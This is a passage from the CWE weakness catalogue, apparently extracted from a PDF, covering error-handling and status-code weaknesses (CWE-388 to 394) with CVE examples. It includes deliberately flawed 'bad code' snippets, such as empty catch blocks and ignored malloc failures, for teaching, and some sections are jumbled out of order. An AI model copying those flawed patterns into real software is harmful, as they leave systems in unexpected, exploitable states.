<td>Privileged process does not properly signal unprivileged process after session termination, leading to connection consumption.</td>
</tr>
<tr>
<td>CVE-2004-2259</td>
<td>SIGCHLD signal to FTP server can cause crash under heavy load while executing non-reentrant functions like malloc/free. Possibly signal handler race condition?</td>
</tr>
<tr>
<td>CVE-2005-0893</td>
<td>Certain signals implemented with unsafe library calls.</td>
</tr>
<tr>
<td>CVE-2005-2377</td>
<td>Library does not handle a SIGPIPE signal when a server becomes available during a search query. Overlaps unchecked error condition?</td>
</tr>
</tbody>
</table>

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>361</td>
<td>Time and State</td>
<td>699 627</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>634</td>
<td>Weaknesses that Affect System Processes</td>
<td>631 984</td>
</tr>
<tr>
<td>ParentOf</td>
<td>364</td>
<td>Signal Handler Race Condition</td>
<td>699 636</td>
<td></td>
</tr>
</tbody>
</table>

Affected Resources

- System Process

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>PLOVER</td>
<td>Signal Errors</td>
</tr>
</tbody>
</table>

Maintenance Notes

Several sub-categories could exist, but this needs more study. Some sub-categories might be unhandled signals, untrusted signals, and sending the wrong signals.

CWE-388: Error Handling

Category ID: 388 (Category)  Status: Draft

Description

Summary
This category includes weaknesses that occur when an application does not properly handle errors that occur during processing.

Extended Description
An attacker may discover this type of error, as forcing these errors can occur with a variety of corrupt input.

Common Consequences
Integrity  
Confidentiality  
Read application data  
Modify files or directories  

Generally, the consequences of improper error handling are the disclosure of the internal workings of the application to the attacker, providing details to use in further attacks. Web applications that do not properly handle error conditions frequently generate error messages such as stack traces, detailed diagnostics, and other inner details of the application.

Demonstrative Examples  
In the snippet below, an unchecked runtime exception thrown from within the try block may cause the container to display its default error page (which may contain a full stack trace, among other things).

**Java Example:**

```
public void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
    try {
        ...
    } catch (ApplicationSpecificException ase) {
        logger.error("Caught: " + ase.toString());
    }
}
```

Potential Mitigations  
Use a standard exception handling mechanism to be sure that your application properly handles all types of processing errors. All error messages sent to the user should contain as little detail as necessary to explain what happened.

If the error was caused by unexpected and likely malicious input, it may be appropriate to send the user no error message other than a simple "could not process the request" response.

The details of the error and its cause should be recorded in a detailed diagnostic log for later analysis. Do not allow the application to throw errors up to the application container, generally the web application server.

Be sure that the container is properly configured to handle errors if you choose to let any errors propagate up to it.

**Relationships**

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>18</td>
<td>Source Code</td>
<td>1003</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>728</td>
<td>OWASP Top Ten 2004 Category A7 - Improper Error Handling</td>
<td>711</td>
</tr>
<tr>
<td>ParentOf</td>
<td>C</td>
<td>389</td>
<td>Error Conditions, Return Values, Status Codes</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td>C</td>
<td>391</td>
<td>Unchecked Error Condition</td>
<td>700</td>
</tr>
<tr>
<td>ParentOf</td>
<td>C</td>
<td>395</td>
<td>Use of NullPointerException Catch to Detect NULL Pointer Dereference</td>
<td>700</td>
</tr>
<tr>
<td>ParentOf</td>
<td>B</td>
<td>396</td>
<td>Declaration of Catch for Generic Exception</td>
<td>700</td>
</tr>
<tr>
<td>ParentOf</td>
<td>B</td>
<td>397</td>
<td>Declaration of Throws for Generic Exception</td>
<td>700</td>
</tr>
<tr>
<td>ParentOf</td>
<td>B</td>
<td>544</td>
<td>Missing Standardized Error Handling Mechanism</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td>B</td>
<td>600</td>
<td>Uncaught Exception in Servlet</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td>B</td>
<td>617</td>
<td>Reachable Assertion</td>
<td>699</td>
</tr>
<tr>
<td>PeerOf</td>
<td>B</td>
<td>619</td>
<td>Dangling Database Cursor ('Cursor Injection')</td>
<td>1000</td>
</tr>
<tr>
<td>ParentOf</td>
<td>B</td>
<td>636</td>
<td>Not Failing Securely ('Failing Open')</td>
<td>699</td>
</tr>
<tr>
<td>MemberOf</td>
<td>V</td>
<td>699</td>
<td>Development Concepts</td>
<td>699</td>
</tr>
<tr>
<td>MemberOf</td>
<td>V</td>
<td>700</td>
<td>Seven Pernicious Kingdoms</td>
<td>700</td>
</tr>
<tr>
<td>ParentOf</td>
<td>C</td>
<td>703</td>
<td>Improper Check or Handling of Exceptional Conditions</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td>C</td>
<td>754</td>
<td>Improper Check for Unusual or Exceptional Conditions</td>
<td>1003</td>
</tr>
<tr>
<td>ParentOf</td>
<td>C</td>
<td>756</td>
<td>Missing Custom Error Page</td>
<td>699</td>
</tr>
</tbody>
</table>
CWE Version 2.11
CWE-389: Error Conditions, Return Values, Status Codes

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Fit</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>7 Pernicious Kingdoms</td>
<td>A7</td>
<td>CWE More Specific</td>
<td>Improper Handling</td>
</tr>
</tbody>
</table>

Related Attack Patterns

<table>
<thead>
<tr>
<th>CAPEC-ID</th>
<th>Attack Pattern Name (CAPEC Version 2.10)</th>
</tr>
</thead>
<tbody>
<tr>
<td>28</td>
<td>Fuzzing</td>
</tr>
<tr>
<td>214</td>
<td>Fuzzing for garnering J2EE/.NET-based stack traces, for application mapping</td>
</tr>
</tbody>
</table>

References


CWE-389: Error Conditions, Return Values, Status Codes

Category ID: 389 (Category)
Status: Incomplete

Description

Summary
If a function in a product does not generate the correct return/status codes, or if the product does not handle all possible return/status codes that could be generated by a function, then security issues may result.

Extended Description
This type of problem is most often found in conditions that are rarely encountered during the normal operation of the product. Presumably, most bugs related to common conditions are found and eliminated during development and testing. In some cases, the attacker can directly control or influence the environment to trigger the rare conditions.

Applicable Platforms

Languages
• All

Weakness Ordinalities
Primary (where the weakness exists independent of other weaknesses)

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>388</td>
<td>Error Handling</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td>B</td>
<td>248</td>
<td>Uncaught Exception</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td>B</td>
<td>252</td>
<td>Unchecked Return Value</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td>B</td>
<td>253</td>
<td>Incorrect Check of Function Return Value</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td>B</td>
<td>390</td>
<td>Detection of Error Condition Without Action</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td>B</td>
<td>391</td>
<td>Unchecked Error Condition</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td>B</td>
<td>393</td>
<td>Return of Wrong Status Code</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td>B</td>
<td>394</td>
<td>Unexpected Status Code or Return Value</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td>B</td>
<td>395</td>
<td>Use of NullPointerException Catch to Detect NULL Pointer Dereference</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td>B</td>
<td>396</td>
<td>Declaration of Catch for Generic Exception</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td>B</td>
<td>397</td>
<td>Declaration of Throws for Generic Exception</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td>B</td>
<td>584</td>
<td>Return Inside Finally Block</td>
<td>699</td>
</tr>
</tbody>
</table>

Research Gaps
Many researchers focus on the resultant weaknesses and do not necessarily diagnose whether a rare condition is the primary factor. However, since 2005 it seems to be reported more frequently than in the past. This subject needs more study.

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>PLOVER</td>
<td>Error Conditions, Return Values, Status Codes</td>
</tr>
</tbody>
</table>
CWE-390: Detection of Error Condition Without Action

Weakness ID: 390 (Weakness Class)

Description

Summary
The software detects a specific error, but takes no actions to handle the error.

Time of Introduction
- Architecture and Design
- Implementation

Applicable Platforms

Languages
- All

Common Consequences

Integrity
Other
Varies by context
Unexpected state
Alter execution logic
An attacker could utilize an ignored error condition to place the system in an unexpected state that could lead to the execution of unintended logic and could cause other unintended behavior.

Likelihood of Exploit
Medium

Demonstrative Examples

Example 1:
The following example attempts to allocate memory for a character. After the call to malloc, an if statement is used to check whether the malloc function failed.

C Example: Bad Code

```c
foo=malloc(sizeof(char)); //the next line checks to see if malloc failed
if (foo==NULL) {
  //We do nothing so we just ignore the error.
}
```

The conditional successfully detects a NULL return value from malloc indicating a failure, however it does not do anything to handle the problem. Unhandled errors may have unexpected results and may cause the program to crash or terminate.

Instead, the if block should contain statements that either attempt to fix the problem or notify the user that an error has occurred and continue processing or perform some cleanup and gracefully terminate the program. The following example notifies the user that the malloc function did not allocate the required memory resources and returns an error code.

C Example: Good Code

```c
foo=malloc(sizeof(char)); //the next line checks to see if malloc failed
if (foo==NULL) {
  printf("Malloc failed to allocate memory resources");
  return -1;
}
```

Example 2:
In the following C++ example the method readFile() will read the file whose name is provided in the input parameter and will return the contents of the file in char string. The method calls open() and read() may result in errors if the file does not exist or does not contain any data to read. These errors will be thrown when the is_open() method and good() method indicate errors opening or reading the file. However, these errors are not handled within the catch statement. Catch statements that do not perform any processing will have unexpected results. In this case an empty char string will be returned, and the file will not be properly closed.
C++ Example:

```c++
char* readFile (char *filename) {
    try {
        // open input file
        ifstream infile;
        infile.open(filename);
        if (!infile.is_open()) {
            throw "Unable to open file " + filename;
        }
        // get length of file
        infile.seekg (0, ios::end);
        int length = infile.tellg();
        infile.seekg (0, ios::beg);
        // allocate memory
        char *buffer = new char [length];
        // read data from file
        infile.read (buffer,length);
        if (!infile.good()) {
            throw "Unable to read from file " + filename;
        }
        infile.close();
        return buffer;
    }
    catch (...) {
        /* bug: insert code to handle this later */
    }
}
```

The catch statement should contain statements that either attempt to fix the problem or notify the user that an error has occurred and continue processing or perform some cleanup and gracefully terminate the program. The following C++ example contains two catch statements. The first of these will catch a specific error thrown within the try block, and the second catch statement will catch all other errors from within the catch block. Both catch statements will notify the user that an error has occurred, close the file, and rethrow to the block that called the readFile() method for further handling or possible termination of the program.

C++ Example:

```c++
char* readFile (char *filename) {
    try {
        // open input file
        ifstream infile;
        infile.open(filename);
        if (!infile.is_open()) {
            throw "Unable to open file " + filename;
        }
        // get length of file
        infile.seekg (0, ios::end);
        int length = infile.tellg();
        infile.seekg (0, ios::beg);
        // allocate memory
        char *buffer = new char [length];
        // read data from file
        infile.read (buffer,length);
        if (!infile.good()) {
            throw "Unable to read from file " + filename;
        }
        infile.close();
        return buffer;
    }
    catch (char *str) {
        printf("Error: %s \n", str);
        infile.close();
        throw str;
    }
    catch (...) {
        printf("Error occurred trying to read from file \n");
        infile.close();
    }
}
```
Example 3:
In the following Java example the method readFile will read the file whose name is provided in the input parameter and will return the contents of the file in a String object. The constructor of the FileReader object and the read method call may throw exceptions and therefore must be within a try/catch block. While the catch statement in this example will catch thrown exceptions in order for the method to compile, no processing is performed to handle the thrown exceptions. Catch statements that do not perform any processing will have unexpected results. In this case, this will result in the return of a null String.

Java Example:

```java
public String readFile(String filename) {
    String retString = null;
    try {
        // initialize File and FileReader objects
        File file = new File(filename);
        FileReader fr = new FileReader(file);
        // initialize character buffer
        long fLen = file.length();
        char[] cBuf = new char[(int) fLen];
        // read data from file
        int iRead = fr.read(cBuf, 0, (int) fLen);
        // close file
        fr.close();
        retString = new String(cBuf);
    } catch (Exception ex) {
        /* do nothing, but catch so it'll compile... */
    }
    return retString;
}
```

The catch statement should contain statements that either attempt to fix the problem, notify the user that an exception has been raised and continue processing, or perform some cleanup and gracefully terminate the program. The following Java example contains three catch statements. The first of these will catch the FileNotFoundException that may be thrown by the FileReader constructor called within the try/catch block. The second catch statement will catch the IOException that may be thrown by the read method called within the try/catch block. The third catch statement will catch all other exceptions thrown within the try block. For all catch statements the user is notified that the exception has been thrown and the exception is rethrown to the block that called the readFile() method for further processing or possible termination of the program. Note that with Java it is usually good practice to use the getMessage() method of the exception class to provide more information to the user about the exception raised.

Java Example:

```java
public String readFile(String filename) throws FileNotFoundException, IOException, Exception {
    String retString = null;
    try {
        // initialize File and FileReader objects
        File file = new File(filename);
        FileReader fr = new FileReader(file);
        // initialize character buffer
        long fLen = file.length();
        char[] cBuf = new char[(int) fLen];
        // read data from file
        int iRead = fr.read(cBuf, 0, (int) fLen);
        // close file
        fr.close();
        retString = new String(cBuf);
    } catch (FileNotFoundException ex) {
        System.err.println("Error: FileNotFoundException opening the input file: " + filename);
        throw new FileNotFoundException(ex.getMessage());
    }
    return retString;
}
```

```java
public String readFile(String filename) throws FileNotFoundException, IOException, Exception {
    String retString = null;
    try {
        //initialize File and FileReader objects
        File file = new File(filename);
        FileReader fr = new FileReader(file);
        //initialize character buffer
        long fLen = file.length();
        char[] cBuf = new char[(int) fLen];
        //read data from file
        int iRead = fr.read(cBuf, 0, (int) fLen);
        //close file
        fr.close();
        retString = new String(cBuf);
    } catch (FileNotFoundException ex) {
        System.err.println("Error: FileNotFoundException opening the input file: " + filename);
        System.err.println("" + ex.getMessage());
        throw new FileNotFoundException(ex.getMessage());
    }
    return retString;
}
```
catch (IOException ex) {
    System.err.println("Error: IOException reading the input file.\n" + ex.getMessage() );
    throw new IOException(ex);
} catch (Exception ex) {
    System.err.println("Error: Exception reading the input file.\n" + ex.getMessage() );
    throw new Exception(ex);
}
return retString;

Potential Mitigations

Implementation

Properly handle each exception. This is the recommended solution. Ensure that all exceptions are handled in such a way that you can be sure of the state of your system at any given moment.

Testing

Subject the software to extensive testing to discover some of the possible instances of where/how errors or return values are not handled. Consider testing techniques such as ad hoc, equivalence partitioning, robustness and fault tolerance, mutation, and fuzzing.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>389</td>
<td>Error Conditions, Return Values, Status Codes</td>
<td>V</td>
</tr>
<tr>
<td>CanPrecede</td>
<td>B</td>
<td>401</td>
<td>Improper Release of Memory Before Removing Last Reference ('Memory Leak')</td>
<td></td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>728</td>
<td>OWASP Top Ten 2004 Category A7 - Improper Error Handling</td>
<td></td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>755</td>
<td>Improper Handling of Exceptional Conditions</td>
<td></td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>851</td>
<td>CERT Java Secure Coding Section 06 - Exceptional Behavior</td>
<td></td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>880</td>
<td>CERT C++ Secure Coding Section 12 - Exceptions and Error Handling (ERR)</td>
<td></td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>962</td>
<td>SFP Secondary Cluster: Unchecked Status Condition</td>
<td></td>
</tr>
<tr>
<td>CanAlsoBe</td>
<td>V</td>
<td>81</td>
<td>Improper Neutralization of Script in an Error Message Web Page</td>
<td></td>
</tr>
<tr>
<td>PeerOf</td>
<td>B</td>
<td>600</td>
<td>Uncaught Exception in Servlet</td>
<td>V</td>
</tr>
<tr>
<td>MemberOf</td>
<td>V</td>
<td>884</td>
<td>CWE Cross-section</td>
<td>V</td>
</tr>
</tbody>
</table>

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>CLASP</td>
<td></td>
<td>Improper error handling</td>
</tr>
<tr>
<td>CERT Java Secure Coding</td>
<td>ERR00-J</td>
<td>Do not suppress or ignore checked exceptions</td>
</tr>
<tr>
<td>CERT C++ Secure Coding</td>
<td>ERR39-CPP</td>
<td>Guarantee exception safety</td>
</tr>
<tr>
<td>Software Fault Patterns</td>
<td>SFP4</td>
<td>Unchecked Status Condition</td>
</tr>
</tbody>
</table>

Related Attack Patterns

<table>
<thead>
<tr>
<th>CAPEC-ID</th>
<th>Attack Pattern Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>7</td>
<td>Blind SQL Injection</td>
</tr>
<tr>
<td>66</td>
<td>SQL Injection</td>
</tr>
<tr>
<td>83</td>
<td>XPath Injection</td>
</tr>
<tr>
<td>250</td>
<td>XML Injection</td>
</tr>
</tbody>
</table>

References

CWE-391: Unchecked Error Condition

Weakness ID: 391 (Weakness Base) Status: Incomplete

Description

Summary
Ignoring exceptions and other error conditions may allow an attacker to induce unexpected behavior unnoticed.

Time of Introduction
- Architecture and Design
- Implementation

Applicable Platforms

Languages
- All

Common Consequences
- Integrity
- Other
- Varies by context
- Unexpected state
- Alter execution logic

Likelihood of Exploit
- Medium

Demonstrative Examples

The following code excerpt ignores a rarely-thrown exception from doExchange().

Java Example:

```java
try {
    doExchange();
} catch (RareException e) {
    // this can never happen
}
```

If a RareException were to ever be thrown, the program would continue to execute as though nothing unusual had occurred. The program records no evidence indicating the special situation, potentially frustrating any later attempt to explain the program's behavior.

Potential Mitigations

Requirements
The choice between a language which has named or unnamed exceptions needs to be done. While unnamed exceptions exacerbate the chance of not properly dealing with an exception, named exceptions suffer from the up call version of the weak base class problem.

Requirements
A language can be used which requires, at compile time, to catch all serious exceptions. However, one must make sure to use the most current version of the API as new exceptions could be added.

Implementation
Catch all relevant exceptions. This is the recommended solution. Ensure that all exceptions are handled in such a way that you can be sure of the state of your system at any given moment.

Other Notes
When a programmer ignores an exception, they implicitly state that they are operating under one of two assumptions:
- This method call can never fail.
- It doesn't matter if this call fails.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>388</td>
<td>Error Handling</td>
<td>700</td>
</tr>
</tbody>
</table>
# CWE-392: Missing Report of Error Condition

## Nature

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>389</td>
<td>Error Conditions, Return Values, Status Codes</td>
<td>699 672</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>703</td>
<td>Improper Check or Handling of Exceptional Conditions</td>
<td>1000 1105</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>728</td>
<td>OWASP Top Ten 2004 Category A7 - Improper Error Handling</td>
<td>711 1122</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>743</td>
<td>CERT C Secure Coding Section 09 - Input Output (FIO)</td>
<td>734 1137</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>746</td>
<td>CERT C Secure Coding Section 12 - Error Handling (ERR)</td>
<td>734 1139</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>876</td>
<td>CERT C++ Secure Coding Section 08 - Memory Management (MEM)</td>
<td>868 1318</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>877</td>
<td>CERT C++ Secure Coding Section 09 - Input Output (FIO)</td>
<td>868 1319</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>880</td>
<td>CERT C++ Secure Coding Section 12 - Exceptions and Error Handling (ERR)</td>
<td>868 1321</td>
</tr>
<tr>
<td>MemberOf</td>
<td></td>
<td>962</td>
<td>SFP Secondary Cluster: Unchecked Status Condition</td>
<td>888 1380</td>
</tr>
</tbody>
</table>

## Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Fit</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>PLOVER</td>
<td></td>
<td></td>
<td>Unchecked Return Value</td>
</tr>
<tr>
<td>7 Pernicious Kingdoms</td>
<td></td>
<td></td>
<td>Empty Catch Block</td>
</tr>
<tr>
<td>CLASP</td>
<td></td>
<td></td>
<td>Uncaught exception</td>
</tr>
<tr>
<td>OWASP Top Ten 2004</td>
<td>A7</td>
<td>CWE More Specific</td>
<td>Improper Error Handling</td>
</tr>
<tr>
<td>CERT C Secure Coding</td>
<td>ERR00-C</td>
<td></td>
<td>Adopt and implement a consistent and comprehensive error-handling policy</td>
</tr>
<tr>
<td>CERT C Secure Coding</td>
<td>FIO04-C</td>
<td></td>
<td>Detect and handle input and output errors</td>
</tr>
<tr>
<td>CERT C Secure Coding</td>
<td>FIO33-C</td>
<td></td>
<td>Detect and handle input output errors resulting in undefined behavior</td>
</tr>
<tr>
<td>CERT C++ Secure Coding</td>
<td>MEM32-CPP</td>
<td></td>
<td>Detect and handle memory allocation errors</td>
</tr>
<tr>
<td>CERT C++ Secure Coding</td>
<td>FIO04-CPP</td>
<td></td>
<td>Detect and handle input and output errors</td>
</tr>
<tr>
<td>CERT C++ Secure Coding</td>
<td>FIO33-CPP</td>
<td></td>
<td>Detect and handle input output errors resulting in undefined behavior</td>
</tr>
<tr>
<td>CERT C++ Secure Coding</td>
<td>ERR00-CPP</td>
<td></td>
<td>Adopt and implement a consistent and comprehensive error-handling policy</td>
</tr>
<tr>
<td>CERT C++ Secure Coding</td>
<td>ERR10-CPP</td>
<td></td>
<td>Check for error conditions</td>
</tr>
<tr>
<td>Software Fault Patterns</td>
<td>SFP4</td>
<td></td>
<td>Unchecked Status Condition</td>
</tr>
</tbody>
</table>

## White Box Definitions

A weakness where code path has:
1. start statement that changes a state of the system resource
2. end statement that accesses the system resource, where the changed and the assumed state of the system resource are not equal.
3. the state of the resource is not compatible with the type of access being performed by the end statement

## Maintenance Notes

This entry needs significant modification. It currently combines information from three different taxonomies, but each taxonomy is talking about a slightly different issue.

## CWE-392: Missing Report of Error Condition

**Weakness ID:** 392 *(Weakness Base)*  
**Status:** Draft

### Description

**Summary**

The software encounters an error but does not provide a status code or return value to indicate that an error has occurred.

### Time of Introduction
CWE-393: Return of Wrong Status Code

- Architecture and Design
- Implementation

Applicable Platforms

Languages
- All

Common Consequences

Integrity
Other
Varies by context
Unexpected state
Errors that are not properly reported could place the system in an unexpected state that could lead to unintended behaviors.

Demonstrative Examples
In the following snippet from a doPost() servlet method, the server returns "200 OK" (default) even if an error occurs.

**Java Example:**

```java
try {
    // Something that may throw an exception.
    ...
} catch (Throwable t) {
    logger.error("Caught: "+t.toString());
    return;
}
```

Observed Examples

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2002-0499</td>
<td>Kernel function truncates long pathnames without generating an error, leading to operation on wrong directory.</td>
</tr>
<tr>
<td>CVE-2002-1446</td>
<td>Error checking routine in PKCS#11 library returns &quot;OK&quot; status even when invalid signature is detected, allowing spoofed messages.</td>
</tr>
<tr>
<td>CVE-2004-0063</td>
<td>Function returns &quot;OK&quot; even if another function returns a different status code than expected, leading to accepting an invalid PIN number.</td>
</tr>
<tr>
<td>CVE-2005-2459</td>
<td>Function returns non-error value when a particular erroneous condition is encountered, leading to resultant NULL dereference.</td>
</tr>
</tbody>
</table>

Weakness Ordinalities

Primary (where the weakness exists independent of other weaknesses)
Resultant (where the weakness is typically related to the presence of some other weaknesses)

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>389</td>
<td>Error Conditions, Return Values, Status Codes</td>
<td>699</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>684</td>
<td>Incorrect Provision of Specified Functionality</td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>703</td>
<td>Improper Check or Handling of Exceptional Conditions</td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>855</td>
<td>CERT Java Secure Coding Section 10 - Thread Pools (TPS)</td>
<td>884</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>961</td>
<td>SFP Secondary Cluster: Incorrect Exception Behavior</td>
<td>888</td>
</tr>
<tr>
<td>MemberOf</td>
<td>V</td>
<td>884</td>
<td>CWE Cross-section</td>
<td>884</td>
</tr>
</tbody>
</table>

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>PLOVER</td>
<td>Node ID</td>
<td>Missing Error Status Code</td>
</tr>
<tr>
<td>CERT Java Secure Coding</td>
<td>TPS03-J</td>
<td>Ensure that tasks executing in a thread pool do not fail silently</td>
</tr>
<tr>
<td>Software Fault Patterns</td>
<td>SFP6</td>
<td>Incorrect Exception Behavior</td>
</tr>
</tbody>
</table>

CWE-393: Return of Wrong Status Code

<table>
<thead>
<tr>
<th>Weakness ID: 393 (Weakness Base)</th>
<th>Status: Draft</th>
</tr>
</thead>
<tbody>
<tr>
<td>Description</td>
<td></td>
</tr>
<tr>
<td>Summary</td>
<td></td>
</tr>
</tbody>
</table>
A function or operation returns an incorrect return value or status code that does not indicate an error, but causes the product to modify its behavior based on the incorrect result.

**Extended Description**
This can lead to unpredictable behavior. If the function is used to make security-critical decisions or provide security-critical information, then the wrong status code can cause the software to assume that an action is safe, even when it is not.

**Time of Introduction**
- Architecture and Design
- Implementation

**Applicable Platforms**

**Languages**
- All

**Common Consequences**
- Integrity
- Other
- Unexpected state
- Alter execution logic
  
  This weakness could place the system in a state that could lead unexpected logic to be executed or other unintended behaviors.

**Demonstrative Examples**
In the following example, an HTTP 404 status code is returned in the event of an IOException encountered in a Java servlet. A 404 code is typically meant to indicate a non-existent resource and would be somewhat misleading in this case.

**Java Example:**
```
try {
    // something that might throw IOException
    ...
} catch (IOException ioe) {
    response.sendError(SC_NOT_FOUND);
}
```

**Observed Examples**

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2001-1509</td>
<td>Hardware-specific implementation of system call causes incorrect results from geteuid.</td>
</tr>
<tr>
<td>CVE-2001-1559</td>
<td>System call returns wrong value, leading to a resultant NULL dereference.</td>
</tr>
<tr>
<td>CVE-2003-1132</td>
<td>DNS server returns wrong response code for non-existent AAAA record, which effectively says that the domain is inaccessible.</td>
</tr>
<tr>
<td>CVE-2014-1266</td>
<td>chain: incorrect &quot;goto&quot; in Apple SSL product bypasses certificate validation, allowing man-in-the-middle attack (Apple &quot;goto fail&quot; bug). CWE-705 (Incorrect Control Flow Scoping) -&gt; CWE-561 (Dead Code) -&gt; CWE-295 (Improper Certificate Validation) -&gt; CWE-393 (Return of Wrong Status Code) -&gt; CWE-300 (Channel Accessible by Non-Endpoint ('Man-in-the-Middle')).</td>
</tr>
</tbody>
</table>

**Relationships**

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>389</td>
<td>Error Conditions, Return Values, Status Codes</td>
<td>699 672</td>
</tr>
<tr>
<td>ChildOf</td>
<td>B</td>
<td>684</td>
<td>Incorrect Provision of Specified Functionality</td>
<td>1000 1067</td>
</tr>
<tr>
<td>ChildOf</td>
<td>B</td>
<td>703</td>
<td>Improper Check or Handling of Exceptional Conditions</td>
<td>1000 1105</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>961</td>
<td>SFP Secondary Cluster: Incorrect Exception Behavior</td>
<td>888 1380</td>
</tr>
<tr>
<td>MemberOf</td>
<td>V</td>
<td>884</td>
<td>CWE Cross-section</td>
<td>884 1323</td>
</tr>
</tbody>
</table>

**Relationship Notes**
This can be primary or resultant, but it is probably most often primary to other issues.

**Taxonomy Mappings**

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>PLOVER</td>
<td></td>
<td>Wrong Status Code</td>
</tr>
<tr>
<td>Software Fault Patterns</td>
<td>SFP6</td>
<td>Incorrect Exception Behavior</td>
</tr>
</tbody>
</table>
Maintenance Notes
This probably overlaps various categories, especially those related to error handling.

CWE-394: Unexpected Status Code or Return Value

<table>
<thead>
<tr>
<th>Weakness ID: 394 (Weakness Base)</th>
<th>Status: Draft</th>
</tr>
</thead>
</table>

Description

Summary
The software does not properly check when a function or operation returns a value that is legitimate for the function, but is not expected by the software.

Time of Introduction
- Architecture and Design
- Implementation

Applicable Platforms

Languages
- All

Common Consequences

Integrity
Other
Unexpected state
Alter execution logic

Observed Examples

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2000-0536</td>
<td>Bypass access restrictions when connecting from IP whose DNS reverse lookup does not return a hostname.</td>
</tr>
<tr>
